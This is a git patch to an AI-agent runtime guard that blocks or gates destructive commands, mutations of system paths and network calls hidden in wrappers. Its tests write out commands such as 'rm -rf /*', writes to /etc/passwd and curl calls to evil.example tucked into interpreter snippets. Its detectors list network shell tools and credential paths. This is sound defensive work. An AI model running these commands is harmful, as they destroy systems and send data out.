From 058f6c23803ccac6bc0553780797bd0f0439ebe5 Mon Sep 17 00:00:00 2001 From: 0xJeff Date: Wed, 10 Jun 2026 17:08:29 +0800 Subject: [PATCH] Harden runtime system path policy --- CHANGELOG.md | 3 + src/action/detectors/exec.ts | 285 +++++++++++++++++++++++++++++++- src/runtime/evaluator.ts | 46 ++++++ src/tests/action.test.ts | 50 +++++- src/tests/runtime-cloud.test.ts | 92 +++++++++++ src/utils/system-paths.ts | 202 ++++++++++++++++++++++ 6 files changed, 673 insertions(+), 5 deletions(-) create mode 100644 src/utils/system-paths.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 4e4a887..db6a5b7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,9 @@ - `agentguard connect` and `agentguard subscribe` now support Hermes Agent JWT registration when Hermes is initialized or detected via `HERMES_HOME`/`~/.hermes`, while preserving the existing OpenClaw notification behavior. ### Fixed +- Runtime command protection now sends `rm -rf`/`rm -fr` on non-system paths through approval instead of hard-blocking, while root and protected system paths still block. +- Runtime protection now blocks shell and file-tool mutations of critical system paths such as `/bin`, `/usr/bin`, `/etc/passwd`, `/etc/shadow`, device paths, and kernel paths. +- Wrapped network commands inside command substitution, interpreter snippets, and simple variable expansion are now surfaced for approval instead of being treated as low-risk shell metacharacters. - Runtime file protection now keeps `protectedPaths` as a sensitive-path approval list instead of treating it as the general file allowlist, so ordinary workspace file reads and writes are no longer surfaced as `PATH_NOT_ALLOWED` under the default policy. - `agentguard init --agent hermes` now targets `HERMES_HOME` or `~/.hermes` for explicit installs instead of creating a nested `.hermes` directory under the current working directory, while only updating the root Hermes config and profile configs. - Runtime network policies now enforce `network.defaultOutbound` and `network.blockedDomains` for direct network/browser tool calls instead of only checking shell commands. diff --git a/src/action/detectors/exec.ts b/src/action/detectors/exec.ts index bfd763c..f298440 100644 --- a/src/action/detectors/exec.ts +++ b/src/action/detectors/exec.ts @@ -1,4 +1,5 @@ import type { ExecCommandData, ActionEvidence } from '../../types/action.js'; +import { classifySystemPathOperation, type SystemPathOperation } from '../../utils/system-paths.js'; /** * Command execution analysis result @@ -25,7 +26,7 @@ const SAFE_COMMAND_PREFIXES = [ 'ls', 'echo', 'pwd', 'whoami', 'date', 'hostname', 'uname', 'cat', 'head', 'tail', 'wc', 'grep', 'find', 'which', 'type', 'tree', 'du', 'df', 'sort', 'uniq', 'diff', 'cd', - // File operations (safe without metacharacters) + // File operations (safe only after protected-path operation checks) 'mkdir', 'cp', 'mv', 'touch', // Git (read + common write operations) 'git status', 'git log', 'git diff', 'git branch', 'git show', 'git remote', @@ -70,8 +71,6 @@ const FORK_BOMB_PATTERNS = [ * Dangerous commands that should always be blocked */ const DANGEROUS_COMMANDS = [ - 'rm -rf', - 'rm -fr', 'mkfs', 'dd if=', 'chmod 777', @@ -86,6 +85,15 @@ const DOWNLOAD_AND_EXEC_PATTERNS = [ /\beval\s+["']?\$\(\s*(?:curl|wget)\b[^;)\n\r]*\)/i, ]; +const HIDDEN_NETWORK_PATTERNS = [ + /\$\(\s*(?:curl|wget|nc|netcat|ncat|ssh|scp|rsync|ftp|sftp)\b[^)]*\)/i, + /`[^`]*(?:curl|wget|nc|netcat|ncat|ssh|scp|rsync|ftp|sftp)\b[^`]*`/i, + /\bpython3?\s+-c\s+["'][\s\S]*(?:os\.system|subprocess\.(?:run|popen|call|check_call|check_output)|requests\.|urllib\.)[\s\S]*(?:curl|wget|https?:\/\/)/i, + /\bnode\s+-e\s+["'][\s\S]*(?:child_process|exec|execfile|spawn|fetch|https?\.request)[\s\S]*(?:curl|wget|https?:\/\/)/i, + /\bperl\s+-e\s+["'][\s\S]*(?:system|exec|lwp::useragent|http::tiny)[\s\S]*(?:curl|wget|https?:\/\/)/i, + /\b(?:export\s+)?[A-Za-z_][A-Za-z0-9_]*=(["'])[\s\S]*(?:curl|wget|nc|netcat|ncat|ssh|scp|rsync|ftp|sftp|https?:\/\/)[\s\S]*\1[\s;&|]+(?:\$[A-Za-z_][A-Za-z0-9_]*|\$\{[A-Za-z_][A-Za-z0-9_]*\})/i, +]; + /** * Commands that access sensitive data */ @@ -160,6 +168,23 @@ export function analyzeExecCommand( ? undefined : 'Command execution not allowed'; + const pathOperationFindings = analyzePathOperations(fullCommand); + if (pathOperationFindings.length > 0) { + for (const finding of pathOperationFindings) { + riskTags.push(finding.tag); + evidence.push(finding.evidence); + if (finding.risk_level === 'critical') { + riskLevel = 'critical'; + shouldBlock = true; + blockReason = finding.block_reason; + continue; + } + if (riskLevel === 'low') riskLevel = finding.risk_level; + shouldBlock = true; + blockReason = blockReason || finding.block_reason; + } + } + // Check for fork bomb patterns (regex-based) for (const pattern of FORK_BOMB_PATTERNS) { if (pattern.test(fullCommand)) { @@ -214,8 +239,26 @@ export function analyzeExecCommand( } } + if (riskLevel !== 'critical') { + for (const pattern of HIDDEN_NETWORK_PATTERNS) { + if (pattern.test(fullCommand)) { + riskTags.push('HIDDEN_NETWORK_COMMAND'); + evidence.push({ + type: 'hidden_network_command', + field: 'command', + match: 'wrapped-network-command', + description: 'Network command hidden inside command substitution, interpreter code, or variable expansion', + }); + riskLevel = 'high'; + shouldBlock = true; + blockReason = blockReason || 'Hidden network command requires approval'; + break; + } + } + } + // Safe command check: if not dangerous, no shell metacharacters, and no sensitive paths, allow - if (riskLevel !== 'critical' && !SHELL_METACHAR_PATTERN.test(fullCommand)) { + if (riskTags.length === 0 && riskLevel !== 'critical' && !SHELL_METACHAR_PATTERN.test(fullCommand)) { const hasSensitivePath = SENSITIVE_COMMANDS.some(s => lowerCommand.includes(s.toLowerCase())); if (!hasSensitivePath) { const isSafe = SAFE_COMMAND_PREFIXES.some(prefix => @@ -341,3 +384,237 @@ export function analyzeExecCommand( block_reason: blockReason, }; } + +interface PathOperationFinding { + risk_level: 'high' | 'critical'; + tag: 'DANGEROUS_COMMAND' | 'DESTRUCTIVE_FILE_OPERATION' | 'SYSTEM_PATH_MUTATION' | 'SYSTEM_PATH_ACCESS'; + evidence: ActionEvidence; + block_reason: string; +} + +function analyzePathOperations(command: string): PathOperationFinding[] { + const findings: PathOperationFinding[] = []; + + findings.push(...redirectionFindings(command)); + + for (const segment of shellCommandSegments(command)) { + const tokens = effectiveCommandTokens(shellTokens(segment)); + const commandName = basename(tokens[0] || ''); + findings.push(...teeFindings(tokens)); + + if (commandName === 'rm') { + findings.push(...rmFindings(tokens)); + } else if (commandName === 'mv') { + findings.push(...pathArgsFindings(tokens, 'move', 1)); + } else if (commandName === 'chmod') { + findings.push(...pathArgsFindings(tokens, 'chmod', 2)); + } else if (commandName === 'chown' || commandName === 'chgrp') { + findings.push(...pathArgsFindings(tokens, 'chown', 2)); + } else if (commandName === 'cp') { + findings.push(...copyFindings(tokens)); + } else if (commandName === 'touch' || commandName === 'mkdir') { + findings.push(...pathArgsFindings(tokens, 'write', 1)); + } + } + + return findings; +} + +function rmFindings(tokens: string[]): PathOperationFinding[] { + const args = tokens.slice(1); + const hasRecursive = args.some((token) => isRmFlag(token, 'r') || isRmFlag(token, 'R')); + const hasForce = args.some((token) => isRmFlag(token, 'f')); + const targets = args.filter((token) => !token.startsWith('-')); + const findings: PathOperationFinding[] = []; + + for (const target of targets) { + const systemFinding = systemPathFinding(target, 'delete'); + if (systemFinding) findings.push(systemFinding); + } + + if (hasRecursive && hasForce) { + const hasCriticalTarget = findings.some((item) => item.risk_level === 'critical'); + if (hasCriticalTarget) { + findings.push({ + risk_level: 'critical', + tag: 'DANGEROUS_COMMAND', + evidence: { + type: 'dangerous_command', + field: 'command', + match: 'rm -rf', + description: 'Recursive force delete targets a protected system path', + }, + block_reason: 'Recursive force delete targets a protected system path', + }); + } else { + findings.push({ + risk_level: 'high', + tag: 'DESTRUCTIVE_FILE_OPERATION', + evidence: { + type: 'destructive_file_operation', + field: 'command', + match: 'rm -rf', + description: 'Recursive force delete requires approval', + }, + block_reason: 'Recursive force delete requires approval', + }); + } + } + + return findings; +} + +function copyFindings(tokens: string[]): PathOperationFinding[] { + const args = nonFlagArgs(tokens.slice(1)); + const destination = args[args.length - 1]; + return destination ? collectSystemPathFindings([destination], 'write') : []; +} + +function pathArgsFindings(tokens: string[], operation: SystemPathOperation, firstPathIndex: number): PathOperationFinding[] { + const args = nonFlagArgs(tokens.slice(1)); + return collectSystemPathFindings(args.slice(Math.max(0, firstPathIndex - 1)), operation); +} + +function redirectionFindings(command: string): PathOperationFinding[] { + const findings: PathOperationFinding[] = []; + for (const match of command.matchAll(/(?:\d*|&)(?:>>?|>\|)\s*([^\s"'`]+|"[^"]+"|'[^']+')/g)) { + const target = match[1]; + const finding = systemPathFinding(target, 'write'); + if (finding) findings.push(finding); + } + return findings; +} + +function teeFindings(tokens: string[]): PathOperationFinding[] { + const teeIndex = tokens.findIndex((token) => basename(token) === 'tee'); + if (teeIndex === -1) return []; + return collectSystemPathFindings(nonFlagArgs(tokens.slice(teeIndex + 1)), 'write'); +} + +function collectSystemPathFindings(paths: string[], operation: SystemPathOperation): PathOperationFinding[] { + return paths + .map((path) => systemPathFinding(path, operation)) + .filter((item): item is PathOperationFinding => item !== null); +} + +function systemPathFinding(path: string, operation: SystemPathOperation): PathOperationFinding | null { + const classification = classifySystemPathOperation(path, operation); + if (!classification) return null; + return { + risk_level: classification.severity, + tag: classification.decision === 'block' ? 'SYSTEM_PATH_MUTATION' : 'SYSTEM_PATH_ACCESS', + evidence: { + type: 'system_path_operation', + field: 'command', + match: classification.path, + description: `${operation} operation targets ${classification.description}`, + }, + block_reason: classification.decision === 'block' + ? `System path ${operation} blocked: ${classification.path}` + : `System path ${operation} requires approval: ${classification.path}`, + }; +} + +function isRmFlag(token: string, flag: string): boolean { + return token.startsWith('-') && token.slice(1).includes(flag); +} + +function nonFlagArgs(tokens: string[]): string[] { + return tokens.filter((token) => token && !token.startsWith('-') && token !== '--'); +} + +function basename(value: string): string { + return value.replace(/\\/g, '/').split('/').pop() || value; +} + +function effectiveCommandTokens(tokens: string[]): string[] { + let index = 0; + while (/^[A-Za-z_][A-Za-z0-9_]*=/.test(tokens[index] || '')) index += 1; + if (basename(tokens[index] || '') === 'sudo') { + index += 1; + while (tokens[index]?.startsWith('-')) index += 1; + } + while (['command', 'builtin'].includes(basename(tokens[index] || ''))) index += 1; + return tokens.slice(index); +} + +function shellCommandSegments(command: string): string[] { + const segments: string[] = []; + let current = ''; + let quote: '"' | "'" | null = null; + let escaped = false; + + for (let index = 0; index < command.length; index += 1) { + const char = command[index]; + const next = command[index + 1]; + if (escaped) { + current += char; + escaped = false; + continue; + } + if (char === '\\' && quote !== "'") { + current += char; + escaped = true; + continue; + } + if ((char === '"' || char === "'") && !quote) { + quote = char; + current += char; + continue; + } + if (char === quote) { + quote = null; + current += char; + continue; + } + if (!quote && (char === ';' || char === '\n' || (char === '&' && next === '&') || (char === '|' && next === '|') || char === '|')) { + if (current.trim()) segments.push(current.trim()); + current = ''; + if ((char === '&' && next === '&') || (char === '|' && next === '|')) index += 1; + continue; + } + current += char; + } + + if (current.trim()) segments.push(current.trim()); + return segments; +} + +function shellTokens(command: string): string[] { + const tokens: string[] = []; + let current = ''; + let quote: '"' | "'" | null = null; + let escaped = false; + + for (const char of command) { + if (escaped) { + current += char; + escaped = false; + continue; + } + if (char === '\\' && quote !== "'") { + escaped = true; + continue; + } + if ((char === '"' || char === "'") && !quote) { + quote = char; + continue; + } + if (char === quote) { + quote = null; + continue; + } + if (/\s/.test(char) && !quote) { + if (current) { + tokens.push(current); + current = ''; + } + continue; + } + current += char; + } + + if (escaped) current += '\\'; + if (current) tokens.push(current); + return quote ? [] : tokens; +} diff --git a/src/runtime/evaluator.ts b/src/runtime/evaluator.ts index c1a568e..afd12ab 100644 --- a/src/runtime/evaluator.ts +++ b/src/runtime/evaluator.ts @@ -5,6 +5,7 @@ import { homedir } from 'node:os'; import { dirname, join } from 'node:path'; import { DEFAULT_CAPABILITY } from '../types/skill.js'; import { domainMatchesPattern, extractDomain } from '../utils/patterns.js'; +import { classifySystemPathOperation } from '../utils/system-paths.js'; import { getAgentGuardPaths } from '../config.js'; import type { ActionData, ActionEvidence, ActionType } from '../types/action.js'; import type { @@ -196,6 +197,9 @@ function customPolicyReasons(policy: EffectiveRuntimePolicy, action: RuntimeActi } if (action.actionType === 'file_read' || action.actionType === 'file_write') { + const systemPathReason = systemPathReasonForFileAction(action); + if (systemPathReason) reasons.push(systemPathReason); + for (const pathPattern of policy.protectedPaths) { if (matchesPath(input, pathPattern)) { reasons.push(reason( @@ -222,6 +226,20 @@ function customPolicyReasons(policy: EffectiveRuntimePolicy, action: RuntimeActi return reasons; } +function systemPathReasonForFileAction(action: RuntimeAction): PolicyReason | null { + const operation = action.actionType === 'file_read' ? 'read' : 'write'; + const classification = classifySystemPathOperation(action.input, operation); + if (!classification) return null; + + return reason( + classification.decision === 'block' ? 'SYSTEM_PATH_MUTATION' : 'SYSTEM_PATH_ACCESS', + classification.severity, + classification.decision === 'block' ? 'System path mutation blocked' : 'System path access requires approval', + `${operation} operation targets ${classification.description}.`, + classification.path + ); +} + async function evaluateWithOssActionScanner( policy: EffectiveRuntimePolicy, action: RuntimeAction, @@ -360,6 +378,18 @@ function normalizeOssReason(tag: string, evidence: ActionEvidence | undefined, a if (tag === 'DANGEROUS_COMMAND') { return reason('DESTRUCTIVE_COMMAND', 'critical', 'Dangerous command', 'The local OSS runtime detected a dangerous command.', evidenceText); } + if (tag === 'DESTRUCTIVE_FILE_OPERATION') { + return reason('DESTRUCTIVE_FILE_OPERATION', 'high', 'Destructive file operation', 'The local OSS runtime detected a destructive file operation.', evidenceText); + } + if (tag === 'SYSTEM_PATH_MUTATION') { + return reason('SYSTEM_PATH_MUTATION', 'critical', 'System path mutation', 'The local OSS runtime detected a mutation of a protected system path.', evidenceText); + } + if (tag === 'SYSTEM_PATH_ACCESS') { + return reason('SYSTEM_PATH_ACCESS', 'high', 'System path access', 'The local OSS runtime detected access to a protected system path.', evidenceText); + } + if (tag === 'HIDDEN_NETWORK_COMMAND') { + return reason('HIDDEN_NETWORK_COMMAND', 'high', 'Hidden network command', 'The local OSS runtime detected a network command hidden inside a wrapper.', evidenceText); + } if (tag === 'SENSITIVE_DATA_ACCESS' || tag === 'SENSITIVE_ENV_VAR') { return reason('SECRET_ACCESS', 'high', 'Sensitive data access', 'The local OSS runtime detected access to sensitive data.', evidenceText); } @@ -648,6 +678,10 @@ function decisionFor( function policyDecisionFor(reasonItem: PolicyReason, policy: EffectiveRuntimePolicy): CloudPolicyDecision | null { const code = reasonItem.code; if (code === 'CUSTOM_BLOCKED_COMMAND' || code === 'DESTRUCTIVE_COMMAND') return policy.decisions.destructiveCommand; + if (code === 'DESTRUCTIVE_FILE_OPERATION') return 'require_approval'; + if (code === 'SYSTEM_PATH_MUTATION') return 'block'; + if (code === 'SYSTEM_PATH_ACCESS') return 'require_approval'; + if (code === 'HIDDEN_NETWORK_COMMAND') return 'require_approval'; if (code === 'REMOTE_CODE_EXECUTION') return policy.decisions.remoteCodeExecution; if (code === 'CUSTOM_BLOCKED_DOMAIN' || code === 'DATA_EXFILTRATION') return policy.decisions.dataExfiltration; if (code === 'NETWORK_OUTBOUND') return policy.network.defaultOutbound; @@ -703,11 +737,23 @@ function shouldAutoAllowRuntimeDecision(riskScore: number, riskLevel: RuntimeRis function matchesPattern(input: string, pattern: string): boolean { if (!pattern) return false; + if (isRootRmRfPattern(pattern)) return isRootRmRfCommand(input); if (input.includes(pattern)) return true; const compact = pattern.replace(/\s*\.\.\.\s*/g, ' '); return compact !== pattern && input.includes(compact); } +function isRootRmRfPattern(pattern: string): boolean { + return /^rm\s+-[^\s]*r[^\s]*f[^\s]*\s+\/$/.test(pattern) || + /^rm\s+-[^\s]*f[^\s]*r[^\s]*\s+\/$/.test(pattern); +} + +function isRootRmRfCommand(input: string): boolean { + const normalized = normalizeCommand(input); + return /^rm\s+-[^\s]*r[^\s]*f[^\s]*\s+\/\s*$/.test(normalized) || + /^rm\s+-[^\s]*f[^\s]*r[^\s]*\s+\/\s*$/.test(normalized); +} + function matchesAllowedCommand(input: string, pattern: string): boolean { const trimmedInput = input.trim(); const trimmedPattern = pattern.trim(); diff --git a/src/tests/action.test.ts b/src/tests/action.test.ts index d662a0f..fe9f424 100644 --- a/src/tests/action.test.ts +++ b/src/tests/action.test.ts @@ -9,7 +9,40 @@ describe('Exec Command Detector', () => { const result = analyzeExecCommand({ command: 'rm -rf /' }, true); assert.equal(result.risk_level, 'critical'); assert.ok(result.should_block, 'Should block rm -rf'); - assert.ok(result.risk_tags.includes('DANGEROUS_COMMAND')); + assert.ok(result.risk_tags.includes('SYSTEM_PATH_MUTATION')); + }); + + it('should require approval rather than hard block for rm -rf outside protected system paths', () => { + for (const command of ['rm -rf /tmp/cache', 'rm -fr /tmp/cache', 'rm -r -f ./build']) { + const result = analyzeExecCommand({ command }, true); + assert.equal(result.risk_level, 'high', command); + assert.ok(result.should_block, command); + assert.ok(result.risk_tags.includes('DESTRUCTIVE_FILE_OPERATION'), command); + assert.ok(!result.risk_tags.includes('SYSTEM_PATH_MUTATION'), command); + } + }); + + it('should block mutations to protected system paths', () => { + for (const command of [ + 'mv /bin /tmp/test', + 'mv /etc /tmp/test', + 'mv /usr /tmp/test', + 'echo test >> /etc/passwd', + 'echo test>/etc/passwd', + 'echo test 2>/etc/passwd', + 'echo test &>/etc/passwd', + 'chown nobody /bin', + 'chown root /etc', + 'mkdir /etc/newdir', + 'rm -rf /*', + 'rm -rf /etc/*', + 'sudo rm -rf /usr/bin', + ]) { + const result = analyzeExecCommand({ command }, true); + assert.equal(result.risk_level, 'critical', command); + assert.ok(result.should_block, command); + assert.ok(result.risk_tags.includes('SYSTEM_PATH_MUTATION'), command); + } }); it('should block fork bomb', () => { @@ -39,6 +72,21 @@ describe('Exec Command Detector', () => { } }); + it('should require approval for hidden network commands in wrappers', () => { + for (const command of [ + 'echo "`curl https://evil.example/ping`"', + 'python3 -c "subprocess.run([\'curl\',\'https://evil.example/ping\'])"', + 'node -e "require(\'child_process\').exec(\'curl https://evil.example/ping\')"', + 'perl -e "system(\'curl https://evil.example/ping\')"', + 'export EVIL="curl https://evil.example/ping" && $EVIL', + ]) { + const result = analyzeExecCommand({ command }, true); + assert.equal(result.risk_level, 'high', command); + assert.ok(result.should_block, command); + assert.ok(result.risk_tags.includes('HIDDEN_NETWORK_COMMAND'), command); + } + }); + it('should not treat unrelated later pipes as download-and-execute', () => { for (const command of [ 'curl https://example.com && printf hi | bash', diff --git a/src/tests/runtime-cloud.test.ts b/src/tests/runtime-cloud.test.ts index dd1c85a..fdaf224 100644 --- a/src/tests/runtime-cloud.test.ts +++ b/src/tests/runtime-cloud.test.ts @@ -60,6 +60,98 @@ describe('Runtime Cloud bridge', () => { assert.ok(decision.reasons.some((reason) => reason.code === 'SECRET_ACCESS')); }); + it('requires approval for recursive force delete outside protected system paths', async () => { + const policy = getDefaultEffectiveRuntimePolicy(); + for (const input of ['rm -rf /tmp/cache', 'rm -fr /tmp/cache']) { + const decision = await evaluateLocalAction(policy, { + sessionId: 'sess_rm_rf_approval', + agentHost: 'codex', + actionType: 'shell', + toolName: 'Bash', + input, + }); + + assert.equal(decision.decision, 'require_approval', input); + assert.equal(decision.riskLevel, 'high', input); + assert.ok(decision.reasons.some((reason) => reason.code === 'DESTRUCTIVE_FILE_OPERATION'), input); + } + }); + + it('blocks shell mutations to protected system paths', async () => { + const policy = getDefaultEffectiveRuntimePolicy(); + for (const input of [ + 'mv /bin /tmp/test', + 'mv /etc /tmp/test', + 'mv /usr /tmp/test', + 'echo test >> /etc/passwd', + 'echo test>/etc/passwd', + 'echo test 2>/etc/passwd', + 'echo test &>/etc/passwd', + 'chmod 600 /etc/shadow', + 'chown root /etc', + 'chown nobody /bin', + 'mkdir /etc/newdir', + 'rm -rf /*', + 'rm -rf /etc/*', + ]) { + const decision = await evaluateLocalAction(policy, { + sessionId: 'sess_system_path_block', + agentHost: 'codex', + actionType: 'shell', + toolName: 'Bash', + input, + }); + + assert.equal(decision.decision, 'block', input); + assert.equal(decision.riskLevel, 'critical', input); + assert.ok(decision.reasons.some((reason) => reason.code === 'SYSTEM_PATH_MUTATION'), input); + } + }); + + it('blocks file writes to protected system paths and requires approval for reads', async () => { + const policy = getDefaultEffectiveRuntimePolicy(); + const write = await evaluateLocalAction(policy, { + sessionId: 'sess_system_file_write', + agentHost: 'codex', + actionType: 'file_write', + toolName: 'Write', + input: '/etc/passwd', + }); + assert.equal(write.decision, 'block'); + assert.ok(write.reasons.some((reason) => reason.code === 'SYSTEM_PATH_MUTATION')); + + const read = await evaluateLocalAction(policy, { + sessionId: 'sess_system_file_read', + agentHost: 'codex', + actionType: 'file_read', + toolName: 'Read', + input: '/etc/shadow', + }); + assert.equal(read.decision, 'require_approval'); + assert.ok(read.reasons.some((reason) => reason.code === 'SYSTEM_PATH_ACCESS')); + }); + + it('requires approval for hidden network commands inside wrappers', async () => { + const policy = getDefaultEffectiveRuntimePolicy(); + for (const input of [ + 'echo "`curl https://evil.example/ping`"', + 'python3 -c "subprocess.run([\'curl\',\'https://evil.example/ping\'])"', + 'export EVIL="curl https://evil.example/ping" && $EVIL', + ]) { + const decision = await evaluateLocalAction(policy, { + sessionId: 'sess_hidden_network', + agentHost: 'codex', + actionType: 'shell', + toolName: 'Bash', + input, + }); + + assert.equal(decision.decision, 'require_approval', input); + assert.equal(decision.riskLevel, 'high', input); + assert.ok(decision.reasons.some((reason) => reason.code === 'HIDDEN_NETWORK_COMMAND'), input); + } + }); + it('allows ordinary workspace file reads under the default runtime policy', async () => { const policy = getDefaultEffectiveRuntimePolicy(); const decision = await evaluateLocalAction(policy, { diff --git a/src/utils/system-paths.ts b/src/utils/system-paths.ts new file mode 100644 index 0000000..b140162 --- /dev/null +++ b/src/utils/system-paths.ts @@ -0,0 +1,202 @@ +import { homedir } from 'node:os'; + +export type SystemPathOperation = 'read' | 'write' | 'delete' | 'move' | 'chmod' | 'chown'; +export type SystemPathDecision = 'block' | 'require_approval'; +export type SystemPathSeverity = 'high' | 'critical'; + +export interface SystemPathClassification { + path: string; + operation: SystemPathOperation; + decision: SystemPathDecision; + severity: SystemPathSeverity; + category: 'system_boot' | 'system_config' | 'security_credentials' | 'kernel_device' | 'root'; + description: string; +} + +const BOOT_PREFIXES = [ + '/bin', + '/sbin', + '/usr', + '/usr/bin', + '/usr/sbin', + '/lib', + '/lib64', +]; + +const CRITICAL_CONFIG_EXACT = [ + '/etc/shadow', + '/etc/sudoers', +]; + +const HIGH_CONFIG_EXACT = [ + '/etc/passwd', + '/etc/group', + '/etc/hosts', + '/etc/resolv.conf', +]; + +const MEDIUM_CONFIG_EXACT = [ + '/etc/crontab', +]; + +const CONFIG_PREFIXES = [ + '/etc', + '/etc/ssh', + '/etc/systemd', +]; + +const SECURITY_HOME_PATHS = [ + '~/.ssh', + '~/.gnupg', + '~/.aws', + '~/.kube', + '~/.npmrc', + '~/.netrc', +]; + +const MUTATING_OPERATIONS = new Set(['write', 'delete', 'move', 'chmod', 'chown']); + +export function classifySystemPathOperation( + rawPath: string, + operation: SystemPathOperation +): SystemPathClassification | null { + const path = normalizeSystemPath(rawPath); + if (!path) return null; + + if (path === '/') { + return { + path, + operation, + decision: operation === 'read' ? 'require_approval' : 'block', + severity: operation === 'read' ? 'high' : 'critical', + category: 'root', + description: 'Root filesystem path', + }; + } + + if (matchesAnyPrefix(path, BOOT_PREFIXES)) { + if (operation === 'read') return null; + return { + path, + operation, + decision: 'block', + severity: 'critical', + category: 'system_boot', + description: 'System boot or runtime directory', + }; + } + + if (CRITICAL_CONFIG_EXACT.includes(path) || path.startsWith('/etc/ssh/ssh_host_')) { + return { + path, + operation, + decision: operation === 'read' ? 'require_approval' : 'block', + severity: operation === 'read' ? 'high' : 'critical', + category: 'system_config', + description: 'Critical system credential or privilege file', + }; + } + + if (HIGH_CONFIG_EXACT.includes(path)) { + return { + path, + operation, + decision: operation === 'read' ? 'require_approval' : 'block', + severity: operation === 'read' ? 'high' : 'critical', + category: 'system_config', + description: 'System configuration file', + }; + } + + if (MEDIUM_CONFIG_EXACT.includes(path)) { + return { + path, + operation, + decision: operation === 'read' ? 'require_approval' : 'require_approval', + severity: 'high', + category: 'system_config', + description: 'Sensitive system configuration path', + }; + } + + if (matchesAnyPrefix(path, CONFIG_PREFIXES)) { + return { + path, + operation, + decision: operation === 'read' ? 'require_approval' : 'block', + severity: operation === 'read' ? 'high' : 'critical', + category: 'system_config', + description: 'Sensitive system configuration path', + }; + } + + if (matchesKernelOrDevicePath(path)) { + if (operation === 'read' && !path.startsWith('/proc/1')) return null; + return { + path, + operation, + decision: operation === 'read' ? 'require_approval' : 'block', + severity: operation === 'read' ? 'high' : 'critical', + category: 'kernel_device', + description: 'Kernel, process, or device path', + }; + } + + if (path === '/root' || path.startsWith('/root/')) { + return { + path, + operation, + decision: operation === 'read' ? 'require_approval' : 'require_approval', + severity: 'high', + category: 'security_credentials', + description: 'Root user home directory', + }; + } + + if (matchesSecurityHomePath(path)) { + return { + path, + operation, + decision: operation === 'read' || MUTATING_OPERATIONS.has(operation) ? 'require_approval' : 'require_approval', + severity: 'high', + category: 'security_credentials', + description: 'User credential path', + }; + } + + return null; +} + +export function normalizeSystemPath(rawPath: string): string { + let path = rawPath.trim(); + if (!path) return ''; + path = path.replace(/^['"]|['"]$/g, ''); + path = path.replace(/[),.;]+$/g, ''); + path = path.replace(/\\/g, '/'); + path = path.replace(/[?*[\]{}]+.*$/g, ''); + if (path.startsWith('~/')) { + path = `${homedir().replace(/\\/g, '/')}/${path.slice(2)}`; + } + path = path.replace(/\/+/g, '/'); + if (path.length > 1) path = path.replace(/\/+$/g, ''); + return path; +} + +function matchesAnyPrefix(path: string, prefixes: string[]): boolean { + return prefixes.some((prefix) => path === prefix || path.startsWith(`${prefix}/`)); +} + +function matchesKernelOrDevicePath(path: string): boolean { + return path === '/proc/1' || + path.startsWith('/proc/1/') || + path.startsWith('/sys/') || + /^\/dev\/(?:sd[a-z]\d*|vd[a-z]\d*|xvd[a-z]\d*|nvme\d+n\d+(?:p\d+)?|disk\/)/.test(path); +} + +function matchesSecurityHomePath(path: string): boolean { + const home = homedir().replace(/\\/g, '/'); + const expanded = SECURITY_HOME_PATHS.map((item) => + item.startsWith('~/') ? `${home}/${item.slice(2)}` : item + ); + return expanded.some((item) => path === item || path.startsWith(`${item}/`)); +}